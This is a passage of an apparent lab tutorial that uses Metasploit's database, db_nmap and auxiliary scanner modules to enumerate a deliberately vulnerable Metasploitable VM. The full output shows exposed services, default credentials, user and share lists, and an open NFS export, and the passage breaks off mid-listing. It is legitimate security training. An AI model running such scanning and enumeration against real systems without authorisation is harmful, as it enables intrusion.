METASPLOITABLE MODEL ANSWER

Previously we went through setting up an attack and a target virtual machine (see here) with the target machine being '*metasploitable*'. This target was developed to help people use metasploit, so lets see how much we can do using that tool.

Lets start by setting up a postgresql DB on *Kali* for use with metasploit. We do this as using a database as the metasploit backend makes life very easy.

```
root@kali:~# su postgres
postgres@kali:/root$ createuser msf -P
Enter password for new role:   ---> for our example we will use msf as the password
Enter it again:
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
postgres@kali:/root$ createdb --owner=msf msfdb
```

Once that is done you can use the '*db_...*' commands. The first time you connect to the empty database, metasploit will create all the tables it needs

```
#msfconsole
msf > db_status
[*] postgresql selected, no connection

msf > db_connect msf:msf@127.0.0.1/msfdb
NOTICE:  CREATE TABLE will create implicit sequence "hosts_id_seq" for serial column "hosts.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "hosts_pkey" for table "hosts"
NOTICE:  CREATE TABLE will create implicit sequence "clients_id_seq" for serial column "clients.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "clients_pkey" for table "clients"
....snip...
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "module_platforms_pkey" for table "module_platforms"
NOTICE:  CREATE TABLE will create implicit sequence "exploit_attempts_id_seq" for serial column "exploit_attempts.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "exploit_attempts_pkey" for table "exploit_attempts"
[*] Rebuilding the module cache in the background...
msf > load db_tracker
```

The best place to start is to use the '*db_nmap'* command. This will run *nmap* with any options you give it and import the results into the database for use..

```
msf > db_nmap -A 10.10.10.200
[*] Nmap: Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-05 21:31 EDT
[*] Nmap: 'mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or
specify valid servers with --dns-servers'
[*] Nmap: Nmap scan report for 10.10.10.200
[*] Nmap: Host is up (0.0013s latency).
[*] Nmap: Not shown: 977 closed ports
[*] Nmap: PORT     STATE SERVICE     VERSION
[*] Nmap: 21/tcp   open  ftp         vsftpd 2.3.4
[*] Nmap: |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
[*] Nmap: 22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
[*] Nmap: | ssh-hostkey: 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
[*] Nmap: |_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
[*] Nmap: 23/tcp   open  telnet      Linux telnetd
[*] Nmap: 25/tcp   open  smtp        Postfix smtpd
[*] Nmap: |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
ENHANCEDSTATUSCODES, 8BITMIME, DSN,
[*] Nmap: | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is
no such thing outside US/countryName=XX
[*] Nmap: | Not valid before: 2010-03-17T13:07:45+00:00
[*] Nmap: |_Not valid after:  2010-04-16T13:07:45+00:00
[*] Nmap: |_ssl-date: 2013-06-05T21:34:00+00:00; -3h59m58s from local time.
[*] Nmap: 53/tcp   open  domain      ISC BIND 9.4.2
[*] Nmap: | dns-nsid:
[*] Nmap: |_  bind.version: 9.4.2
[*] Nmap: 80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
[*] Nmap: |_http-methods: No Allow or Public header in OPTIONS response (status code 200)
[*] Nmap: |_http-title: Metasploitable2 - Linux
[*] Nmap: 111/tcp  open  rpcbind     2 (RPC #100000)
[*] Nmap: | rpcinfo:
[*] Nmap: |   program version   port/proto  service
[*] Nmap: |   100000  2            111/tcp  rpcbind
[*] Nmap: |   100000  2            111/udp  rpcbind
[*] Nmap: |   100003  2,3,4       2049/tcp  nfs
[*] Nmap: |   100003  2,3,4       2049/udp  nfs
[*] Nmap: |   100005  1,2,3      37697/tcp  mountd
[*] Nmap: |   100005  1,2,3      58662/udp  mountd
[*] Nmap: |   100021  1,3,4      55980/udp  nlockmgr
[*] Nmap: |   100021  1,3,4      59689/tcp  nlockmgr
[*] Nmap: |   100024  1          37965/udp  status
[*] Nmap: |_  100024  1          54441/tcp  status
[*] Nmap: 139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
[*] Nmap: 445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
[*] Nmap: 512/tcp  open  exec        netkit-rsh rexecd
[*] Nmap: 513/tcp  open  login
[*] Nmap: 514/tcp  open  shell?
[*] Nmap: 1099/tcp open  rmiregistry GNU Classpath grmiregistry
[*] Nmap: |_rmi-dumpregistry: Registry listing failed (No return data received from server)
[*] Nmap: 1524/tcp open  ingreslock?
[*] Nmap: 2049/tcp open  nfs         2-4 (RPC #100003)
[*] Nmap: 2121/tcp open  ftp         ProFTPD 1.3.1
[*] Nmap: 3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
[*] Nmap: | mysql-info: Protocol: 10
[*] Nmap: | Version: 5.0.51a-3ubuntu5
[*] Nmap: | Thread ID: 27
[*] Nmap: | Some Capabilities: Connect with DB, Compress, SSL, Transactions, Secure Connection
[*] Nmap: | Status: Autocommit
[*] Nmap: |_Salt: U8Z<[7?vX5@~{n5^Y'QD
[*] Nmap: 5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
[*] Nmap: 5900/tcp open  vnc         VNC (protocol 3.3)
[*] Nmap: | vnc-info:
[*] Nmap: |   Protocol version: 3.3
[*] Nmap: |   Security types:
[*] Nmap: |_    Unknown security type (33554432)
[*] Nmap: 6000/tcp open  X11         (access denied)
[*] Nmap: 6667/tcp open  irc         Unreal ircd
[*] Nmap: | irc-info: Server: irc.Metasploitable.LAN
[*] Nmap: | Version: Unreal3.2.8.1. irc.Metasploitable.LAN
[*] Nmap: | Lservers/Lusers: 0/1
[*] Nmap: | Uptime: 5 days, 11:55:45
[*] Nmap: | Source host: DEA2FB80.5CD59B7.59935C67.IP
[*] Nmap: |_Source ident: OK nmap
[*] Nmap: 8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
[*] Nmap: |_ajp-methods: Failed to get a valid response for the OPTION request
[*] Nmap: 8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
[*] Nmap: |_http-favicon: Apache Tomcat
[*] Nmap: |_http-methods: No Allow or Public header in OPTIONS response (status code 200)
[*] Nmap: |_http-title: Apache Tomcat/5.5
[*] Nmap: 2 services unrecognized despite returning data. If you know the service/version, please submit the following
fingerprints at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
[*] Nmap: ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
[*] Nmap: SF-Port514-TCP:V=6.25%I=7%D=6/5%Time=51AFE679%P=i686-pc-linux-gnu%r(NULL,3
[*] Nmap: SF:3,"\x01getnameinfo:\x20Temporary\x20failure\x20in\x20name\x20resolution
[*] Nmap: SF:\n");
[*] Nmap: ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
[*] Nmap: SF-Port1524-TCP:V=6.25%I=7%D=6/5%Time=51AFE67F%P=i686-pc-linux-gnu%r(NULL,
[*] Nmap: SF:17,"root@metasploitable:/#\x20")%r(GenericLines,73,"root@metasploitable
[*] Nmap: SF::/#\x20root@metasploitable:/#\x20root@metasploitable:/#\x20root@metaspl
[*] Nmap: SF:oitable:/#\x20root@metasploitable:/#\x20")%r(GetRequest,428,"root@metas
[*] Nmap: SF:ploitable:/#\x20<HTML>\n<HEAD>\n<TITLE>Directory\x20/</TITLE>\n<BASE\x2
[*] Nmap: SF:0HREF=\"file:/\">\n</HEAD>\n<BODY>\n<H1>Directory\x20listing\x20of\x20/
[*] Nmap: SF:</H1>\n<UL>\n<LI><A\x20HREF=\"\./\">\./</A>\n<LI><A\x20HREF=\"\.\./\">\
[*] Nmap: SF:.\./</A>\n<LI><A\x20HREF=\"bin/\">bin/</A>\n<LI><A\x20HREF=\"boot/\">bo
[*] Nmap: SF:ot/</A>\n<LI><A\x20HREF=\"cdrom/\">cdrom/</A>\n<LI><A\x20HREF=\"dev/\">
[*] Nmap: SF:dev/</A>\n<LI><A\x20HREF=\"etc/\">etc/</A>\n<LI><A\x20HREF=\"home/\">ho
[*] Nmap: SF:me/</A>\n<LI><A\x20HREF=\"initrd/\">initrd/</A>\n<LI><A\x20HREF=\"initr
[*] Nmap: SF:d\.img\">initrd\.img</A>\n<LI><A\x20HREF=\"lib/\">lib/</A>\n<LI><A\x20H
[*] Nmap: SF:REF=\"lost%2Bfound/\">lost\+found/</A>\n<LI><A\x20HREF=\"media/\">media
[*] Nmap: SF:/</A>\n<LI><A\x20HREF=\"mnt/\">mnt/</A>\n<LI><A\x20HREF=\"nohup\.out\">
[*] Nmap: SF:nohup\.out</A>\n<LI><A\x20HREF=\"opt/\">opt/</A>\n<LI><A\x20HREF=\"proc
[*] Nmap: SF:/\">proc/</A>\n<LI><A\x20HREF=\"root/\">root/</A>\n<LI><A\x20HREF=\"sbi
[*] Nmap: SF:n/\">sbin/</A>\n<LI><A\x20HREF=\"srv/\">srv/</A>\n<LI><A\x20HREF=\"sys/
[*] Nmap: SF:\">sys/</A>\n<LI><A\x20HREF=\"tmp/\">tmp/</A>\n<LI><A\x20HREF=\"usr/\">
[*] Nmap: SF:usr/</A>\n<LI><A\x20HREF=\"var/\">var/</A>\n<LI><A\x20HREF=\"vmlinuz\">
[*] Nmap: SF:vmlinuz</A>\n<")%r(HTTPOptions,94,"root@metasploitable:/#\x20bash:\x20O
[*] Nmap: SF:PTIONS:\x20command\x20not\x20found\nroot@metasploitable:/#\x20root@meta
[*] Nmap: SF:sploitable:/#\x20root@metasploitable:/#\x20root@metasploitable:/#\x20")
[*] Nmap: SF:%r(RTSPRequest,94,"root@metasploitable:/#\x20bash:\x20OPTIONS:\x20comma
[*] Nmap: SF:nd\x20not\x20found\nroot@metasploitable:/#\x20root@metasploitable:/#\x2
[*] Nmap: SF:0root@metasploitable:/#\x20root@metasploitable:/#\x20")%r(RPCCheck,17,"
[*] Nmap: SF:root@metasploitable:/#\x20")%r(DNSVersionBindReq,17,"root@metasploitabl
[*] Nmap: SF:e:/#\x20")%r(DNSStatusRequest,17,"root@metasploitable:/#\x20")%r(Help,6
[*] Nmap: SF:3,"root@metasploitable:/#\x20bash:\x20HELP:\x20command\x20not\x20found\
[*] Nmap: SF:nroot@metasploitable:/#\x20root@metasploitable:/#\x20")%r(SSLSessionReq
[*] Nmap: SF:,51,"root@metasploitable:/#\x20bash:\x20{O\?G,\x03Sw=:\x20command\x20no
[*] Nmap: SF:t\x20found\nroot@metasploitable:/#\x20");
[*] Nmap: MAC Address: 08:00:27:6A:57:59 (Cadmus Computer Systems)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 2.6.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:2.6
[*] Nmap: OS details: Linux 2.6.9 - 2.6.33
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE:
cpe:/o:linux:linux_kernel
[*] Nmap: Host script results:
[*] Nmap: |_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
[*] Nmap: | smb-os-discovery:
[*] Nmap: |   OS: Unix (Samba 3.0.20-Debian)
[*] Nmap: |   NetBIOS computer name:
[*] Nmap: |   Workgroup: WORKGROUP
[*] Nmap: |_  System time: 2013-06-05T17:34:00-04:00
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT     ADDRESS
[*] Nmap: 1   1.29 ms 10.10.10.200
[*] Nmap: OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 188.56 seconds
msf >
```

Here is an example of querying the database to get a listing of services..

```
msf > services

Services
========

host          port  proto  name         state  info
----          ----  -----  ----         -----  ----
10.10.10.200  21    tcp    ftp          open   vsftpd 2.3.4
10.10.10.200  22    tcp    ssh          open   OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
10.10.10.200  23    tcp    telnet       open   Linux telnetd
10.10.10.200  25    tcp    smtp         open   Postfix smtpd
10.10.10.200  53    tcp    domain       open   ISC BIND 9.4.2
10.10.10.200  80    tcp    http         open   Apache httpd 2.2.8 (Ubuntu) DAV/2
10.10.10.200  111   tcp    rpcbind      open   2 RPC #100000
10.10.10.200  139   tcp    netbios-ssn  open   Samba smbd 3.X workgroup: WORKGROUP
10.10.10.200  445   tcp    netbios-ssn  open   Samba smbd 3.X workgroup: WORKGROUP
10.10.10.200  512   tcp    exec         open   netkit-rsh rexecd
10.10.10.200  513   tcp    login        open
10.10.10.200  514   tcp    shell        open
10.10.10.200  1099  tcp    rmiregistry  open   GNU Classpath grmiregistry
10.10.10.200  1524  tcp    ingreslock   open
10.10.10.200  2049  tcp    nfs          open   2-4 RPC #100003
10.10.10.200  2121  tcp    ftp          open   ProFTPD 1.3.1
10.10.10.200  3306  tcp    mysql        open   MySQL 5.0.51a-3ubuntu5
10.10.10.200  5432  tcp    postgresql   open   PostgreSQL DB 8.3.0 - 8.3.7
10.10.10.200  5900  tcp    vnc          open   VNC protocol 3.3
10.10.10.200  6000  tcp    x11          open   access denied
10.10.10.200  6667  tcp    irc          open   Unreal ircd
10.10.10.200  8009  tcp    ajp13        open   Apache Jserv Protocol v1.3
10.10.10.200  8180  tcp    http         open   Apache Tomcat/Coyote JSP engine 1.1
```

Useful. But lets see if we cannot get some more detail on that list. For example..

```
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS                      yes       The target address range or CIDR identifier
   SMBDomain  WORKGROUP        no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as
   THREADS    1                yes       The number of concurrent threads
```

Now here is another way to use the database. Using the '*hosts*' command you can use '*hosts -R*' and it will put the hosts in the database into the *RHOSTS* variable for you to use..

```
msf auxiliary(smb_version) > hosts -R

Hosts
=====

address       mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------       ---                ----  -------  ---------  -----  -------  ----  --------
10.10.10.200  08:00:27:6A:57:59        Linux    Ubuntu            server

RHOSTS => 10.10.10.200

msf auxiliary(smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS     10.10.10.200     yes       The target address range or CIDR identifier
   SMBDomain  WORKGROUP        no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as
   THREADS    1                yes       The number of concurrent threads

msf auxiliary(smb_version) > run

[*] 10.10.10.200:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Once that is done, lets query for our services list again..

```
Services
========

host          port  proto  name         state  info
----          ----  -----  ----         -----  ----
10.10.10.200  21    tcp    ftp          open   vsftpd 2.3.4
10.10.10.200  22    tcp    ssh          open   OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
10.10.10.200  23    tcp    telnet       open   Linux telnetd
10.10.10.200  25    tcp    smtp         open   Postfix smtpd
10.10.10.200  53    tcp    domain       open   ISC BIND 9.4.2
10.10.10.200  80    tcp    http         open   Apache httpd 2.2.8 (Ubuntu) DAV/2
10.10.10.200  111   tcp    rpcbind      open   2 RPC #100000
10.10.10.200  139   tcp    netbios-ssn  open   Samba smbd 3.X workgroup: WORKGROUP
10.10.10.200  445   tcp    smb          open   Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
10.10.10.200  512   tcp    exec         open   netkit-rsh rexecd
10.10.10.200  513   tcp    login        open
10.10.10.200  514   tcp    shell        open
10.10.10.200  1099  tcp    rmiregistry  open   GNU Classpath grmiregistry
10.10.10.200  1524  tcp    ingreslock   open
10.10.10.200  2049  tcp    nfs          open   2-4 RPC #100003
10.10.10.200  2121  tcp    ftp          open   ProFTPD 1.3.1
10.10.10.200  3306  tcp    mysql        open   MySQL 5.0.51a-3ubuntu5
10.10.10.200  5432  tcp    postgresql   open   PostgreSQL DB 8.3.0 - 8.3.7
10.10.10.200  5900  tcp    vnc          open   VNC protocol 3.3
10.10.10.200  6000  tcp    x11          open   access denied
10.10.10.200  6667  tcp    irc          open   Unreal ircd
10.10.10.200  8009  tcp    ajp13        open   Apache Jserv Protocol v1.3
10.10.10.200  8180  tcp    http         open   Apache Tomcat/Coyote JSP engine 1.1
```

As you can see, the details around port 445 have now been updated. So lets move forward using the following..

```
msf> use auxiliary/scanner/telnet/telnet_version
msf> use auxiliary/scanner/smtp/smtp_version
msf> use auxiliary/scanner/misc/sunrpc_portmapper
msf> use auxiliary/scanner/netbios/nbname
msf> use auxiliary/scanner/smb/pipe_auditor
msf> use auxiliary/scanner/smb/smb2
msf> use auxiliary/scanner/smb/smb_enumshares
msf> use auxiliary/scanner/smb/smb_lookupsid
msf> use auxiliary/scanner/nfs/nfsmount
msf> use auxiliary/admin/http/tomcat_administration
msf> use auxiliary/scanner/misc/java_rmi_server
```

Once we have run through all of those modules, our services list should look like this..

```
msf> services

Services
========

host          port   proto  name         state  info
----          ----   -----  ----         -----  ----
10.10.10.200  21     tcp    ftp          open   vsftpd 2.3.4
10.10.10.200  22     tcp    ssh          open   OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
10.10.10.200  23     tcp    telnet       open   _                  _       _ _        _     _      ____  \x0a _ __ ___
___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` |
'_ \| |/ _ \ __) |\x0a| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ \x0a|_| |_| |_|\___|
\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a                            |_|
                                          \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!
\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable
login:
10.10.10.200  25     tcp    smtp         open   220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
10.10.10.200  53     tcp    domain       open   ISC BIND 9.4.2
10.10.10.200  80     tcp    http         open   Apache httpd 2.2.8 (Ubuntu) DAV/2
10.10.10.200  111    udp    rpcbind      open   2 RPC #100000
10.10.10.200  111    tcp    rpcbind      open   Prog: 100000 Version: 2 - via portmapper
10.10.10.200  137    udp    netbios      open   METASPLOITABLE:<00>:U :METASPLOITABLE:<03>:U :METASPLOITABLE:<20>:U :
__MSBROWSE__:<01>:G :WORKGROUP:<00>:G :WORKGROUP:<1d>:U :WORKGROUP:<1e>:G :00:00:00:00:00:00
10.10.10.200  139    tcp    smb          open   Samba smbd 3.X workgroup: WORKGROUP
10.10.10.200  445    tcp    smb          open   Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
10.10.10.200  512    tcp    exec         open   netkit-rsh rexecd
10.10.10.200  513    tcp    login        open
10.10.10.200  514    tcp    shell        open
10.10.10.200  1099   tcp    java-rmi     open   GNU Classpath grmiregistry
10.10.10.200  1524   tcp    ingreslock   open
10.10.10.200  2049   udp    nfs          open   2-4 RPC #100003
10.10.10.200  2049   tcp    nfs          open   Prog: 100003 Version: 4 - via portmapper
10.10.10.200  2121   tcp    ftp          open   ProFTPD 1.3.1
10.10.10.200  3306   tcp    mysql        open   MySQL 5.0.51a-3ubuntu5
10.10.10.200  5432   tcp    postgresql   open   PostgreSQL DB 8.3.0 - 8.3.7
10.10.10.200  5900   tcp    vnc          open   VNC protocol version 3.3
10.10.10.200  6000   tcp    x11          open   access denied
10.10.10.200  6667   tcp    irc          open   Unreal ircd
10.10.10.200  8009   tcp    ajp13        open   Apache Jserv Protocol v1.3
10.10.10.200  8180   tcp    http         open   Apache Tomcat/Coyote JSP engine 1.1
10.10.10.200  37697  tcp    mountd       open   Prog: 100005 Version: 3 - via portmapper
10.10.10.200  37965  udp    status       open   1 RPC #100024
10.10.10.200  54441  tcp    status       open   Prog: 100024 Version: 1 - via portmapper
10.10.10.200  55980  udp    nlockmgr     open   1-4 RPC #100021
10.10.10.200  58662  udp    mountd       open   1-3 RPC #100005
10.10.10.200  59689  tcp    nlockmgr     open   Prog: 100021 Version: 4 - via portmapper
```

A lot more detail, in fact, if you look at the telnet banner, you will see we have a username and password already. We can also look at what we get by using the '*notes*' command to query the database..

```
msf> notes
[*] Time: 2013-06-06 01:34:38 UTC Note: host=10.10.10.200 type=nmap.nse.nbstat.host data={"output"=>"NetBIOS name:
METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>"}
[*] Time: 2013-06-06 01:34:38 UTC Note: host=10.10.10.200 type=nmap.nse.smb-os-discovery.host data={"output"=>"\n  OS:
Unix (Samba 3.0.20-Debian)\n  NetBIOS computer name: \n  Workgroup: WORKGROUP\n  System time:
2013-06-05T17:34:00-04:00\n"}
[*] Time: 2013-06-06 01:34:39 UTC Note: host=10.10.10.200 service=ftp type=nmap.nse.ftp-anon.tcp.21
data={"output"=>"Anonymous FTP login allowed (FTP code 230)"}
[*] Time: 2013-06-06 01:34:39 UTC Note: host=10.10.10.200 service=ssh type=nmap.nse.ssh-hostkey.tcp.22
data={"output"=>"1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)\n2048
56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)"}
[*] Time: 2013-06-06 01:34:39 UTC Note: host=10.10.10.200 service=smtp type=nmap.nse.smtp-commands.tcp.25
data={"output"=>"metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES,
8BITMIME, DSN, "}
[*] Time: 2013-06-06 01:34:40 UTC Note: host=10.10.10.200 service=smtp type=nmap.nse.ssl-cert.tcp.25
data={"output"=>"Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no
such thing outside US/countryName=XX\nNot valid before: 2010-03-17T13:07:45+00:00\nNot valid after:
2010-04-16T13:07:45+00:00"}
[*] Time: 2013-06-06 01:34:40 UTC Note: host=10.10.10.200 service=smtp type=nmap.nse.ssl-date.tcp.25
data={"output"=>"2013-06-05T21:34:00+00:00; -3h59m58s from local time."}
[*] Time: 2013-06-06 01:34:40 UTC Note: host=10.10.10.200 service=domain type=nmap.nse.dns-nsid.tcp.53
data={"output"=>"\n  bind.version: 9.4.2\n"}
[*] Time: 2013-06-06 01:34:40 UTC Note: host=10.10.10.200 service=http type=nmap.nse.http-methods.tcp.80
```

```
data={"output"=>"No Allow or Public header in OPTIONS response (status code 200)"}
[*] Time: 2013-06-06 01:34:40 UTC Note: host=10.10.10.200 service=http type=nmap.nse.http-title.tcp.80
data={"output"=>"Metasploitable2 - Linux"}
[*] Time: 2013-06-06 01:34:40 UTC Note: host=10.10.10.200 service=rpcbind type=nmap.nse.rpcinfo.tcp.111
data={"output"=>"\n  program version   port/proto  service\n  100000  2           111/tcp  rpcbind\n  100000
2           111/udp  rpcbind\n  100003  2,3,4       2049/tcp  nfs\n  100003  2,3,4       2049/udp  nfs\n  100005
1,2,3      37697/tcp  mountd\n  100005  1,2,3      58662/udp  mountd\n  100021  1,3,4      55980/udp  nlockmgr\n
100021  1,3,4      59689/tcp  nlockmgr\n  100024  1          37965/udp  status\n  100024  1          54441/tcp
status\n"}
[*] Time: 2013-06-06 01:34:41 UTC Note: host=10.10.10.200 service=rmiregistry type=nmap.nse.rmi-dumpregistry.tcp.1099
data={"output"=>"Registry listing failed (No return data received from server)"}
[*] Time: 2013-06-06 01:34:42 UTC Note: host=10.10.10.200 service=mysql type=nmap.nse.mysql-info.tcp.3306
data={"output"=>"Protocol: 10\nVersion: 5.0.51a-3ubuntu5\nThread ID: 27\nSome Capabilities: Connect with DB, Compress,
SSL, Transactions, Secure Connection\nStatus: Autocommit\nSalt: U8Z<[7?vX5@~{n5^Y'QD\n"}
[*] Time: 2013-06-06 01:34:42 UTC Note: host=10.10.10.200 service=vnc type=nmap.nse.vnc-info.tcp.5900
data={"output"=>"\n  Protocol version: 3.3\n  Security types:\n    Unknown security type (33554432)\n"}
[*] Time: 2013-06-06 01:34:43 UTC Note: host=10.10.10.200 service=irc type=nmap.nse.irc-info.tcp.6667
data={"output"=>"Server: irc.Metasploitable.LAN\nVersion: Unreal3.2.8.1. irc.Metasploitable.LAN \nLservers/Lusers:
0/1\nUptime: 5 days, 11:55:45\nSource host: DEA2FB80.5CD59B7.59935C67.IP\nSource ident: OK nmap\n"}
[*] Time: 2013-06-06 01:34:43 UTC Note: host=10.10.10.200 service=ajp13 type=nmap.nse.ajp-methods.tcp.8009
data={"output"=>"Failed to get a valid response for the OPTION request"}
[*] Time: 2013-06-06 01:34:43 UTC Note: host=10.10.10.200 service=http type=nmap.nse.http-favicon.tcp.8180
data={"output"=>"Apache Tomcat"}
[*] Time: 2013-06-06 01:34:43 UTC Note: host=10.10.10.200 service=http type=nmap.nse.http-methods.tcp.8180
data={"output"=>"No Allow or Public header in OPTIONS response (status code 200)"}
[*] Time: 2013-06-06 01:34:43 UTC Note: host=10.10.10.200 service=http type=nmap.nse.http-title.tcp.8180
data={"output"=>"Apache Tomcat/5.5"}
[*] Time: 2013-06-06 01:34:43 UTC Note: host=10.10.10.200 type=host.os.nmap_fingerprint data={:os_vendor=>"Linux",
:os_family=>"Linux", :os_version=>"2.6.X", :os_accuracy=>100}
[*] Time: 2013-06-06 01:34:43 UTC Note: host=10.10.10.200 type=host.last_boot data={:time=>"Fri May 31 09:42:20 2013"}
[*] Time: 2013-06-06 01:34:43 UTC Note: host=10.10.10.200 type=host.nmap.traceroute data={"port"=>0, "proto"=>"",
"hops"=>[{"ttl"=>"1", "ipaddr"=>"10.10.10.200", "rtt"=>"1.29", "name"=>nil}]}
[*] Time: 2013-06-06 01:51:09 UTC Note: host=10.10.10.200 service=smb type=smb.fingerprint data={:os_flavor=>"Unix",
:os_name=>"Unknown", :os_sp=>"Samba 3.0.20-Debian", :SMBDomain=>"WORKGROUP"}
[*] Time: 2013-06-06 02:20:15 UTC Note: host=10.10.10.200 service=smb type=Pipes Founded data="Pipes: \\netlogon, \
\lsarpc, \\samr, \\eventlog, \\lsass, \\ntsvcs, \\srvsvc, \\wkssvc"
[*] Time: 2013-06-06 02:22:16 UTC Note: host=10.10.10.200 service=smb type=smb.shares data={:shares=>[["print$", "DISK",
"Printer Drivers"], ["tmp", "DISK", "oh noes!"], ["opt", "DISK", ""], ["IPC$", "IPC", "IPC Service (metasploitable
server (Samba 3.0.20-Debian))"], ["ADMIN$", "IPC", "IPC Service (metasploitable server (Samba 3.0.20-Debian))"]]}
[*] Time: 2013-06-06 02:29:32 UTC Note: host=10.10.10.200 service=smb type=smb.domain.lookupsid
data={:name=>"METASPLOITABLE", :txt_sid=>"5-21-1042354039-2475377354-766472396", :users=>{500=>"Administrator",
501=>"nobody", 1000=>"root", 1002=>"daemon", 1004=>"bin", 1006=>"sys", 1008=>"sync", 1010=>"games", 1012=>"man",
1014=>"lp", 1016=>"mail", 1018=>"news", 1020=>"uucp", 1026=>"proxy", 1066=>"www-data", 1068=>"backup", 1076=>"list",
1078=>"irc", 1082=>"gnats", 1200=>"libuuid", 1202=>"dhcp", 1204=>"syslog", 1206=>"klog", 1208=>"sshd", 1210=>"bind",
1212=>"postfix", 1214=>"ftp", 1216=>"postgres", 1218=>"mysql", 1220=>"tomcat55", 1222=>"distccd", 1224=>"telnetd",
1226=>"proftpd", 1228=>"statd", 1230=>"snmp", 3000=>"msfadmin", 3002=>"user", 3004=>"service"}, :groups=>{512=>"Domain
Admins", 513=>"Domain Users", 514=>"Domain Guests", 1001=>"root", 1003=>"daemon", 1005=>"bin", 1007=>"sys", 1009=>"adm",
1011=>"tty", 1013=>"disk", 1015=>"lp", 1017=>"mail", 1019=>"news", 1021=>"uucp", 1025=>"man", 1027=>"proxy",
1031=>"kmem", 1041=>"dialout", 1043=>"fax", 1045=>"voice", 1049=>"cdrom", 1051=>"floppy", 1053=>"tape", 1055=>"sudo",
1059=>"audio", 1061=>"dip", 1067=>"www-data", 1069=>"backup", 1075=>"operator", 1077=>"list", 1079=>"irc", 1081=>"src",
1083=>"gnats", 1085=>"shadow", 1087=>"utmp", 1089=>"video", 1091=>"sasl", 1093=>"plugdev", 1101=>"staff", 1121=>"games",
1201=>"users", 1203=>"libuuid", 1205=>"dhcp", 1207=>"syslog", 1209=>"klog", 1211=>"scanner", 1213=>"nvram",
1215=>"fuse", 1217=>"crontab", 1219=>"mlocate", 1221=>"ssh", 1223=>"lpadmin", 1225=>"admin", 1227=>"bind", 1229=>"ssl-
cert", 1231=>"postfix", 1233=>"postdrop", 1235=>"postgres", 1237=>"mysql", 1239=>"sambashare", 1241=>"telnetd",
3001=>"msfadmin", 3003=>"user", 3005=>"service"}}
[*] Time: 2013-06-06 02:39:07 UTC Note: host=10.10.10.200 service=nfs type=nfs.exports data={:exports=>[["/", ["*"]]]}
[*] Time: 2013-06-06 02:50:25 UTC Note: host=10.10.10.200 service=rpcbind type=nmap.nse.rpcinfo.udp.111
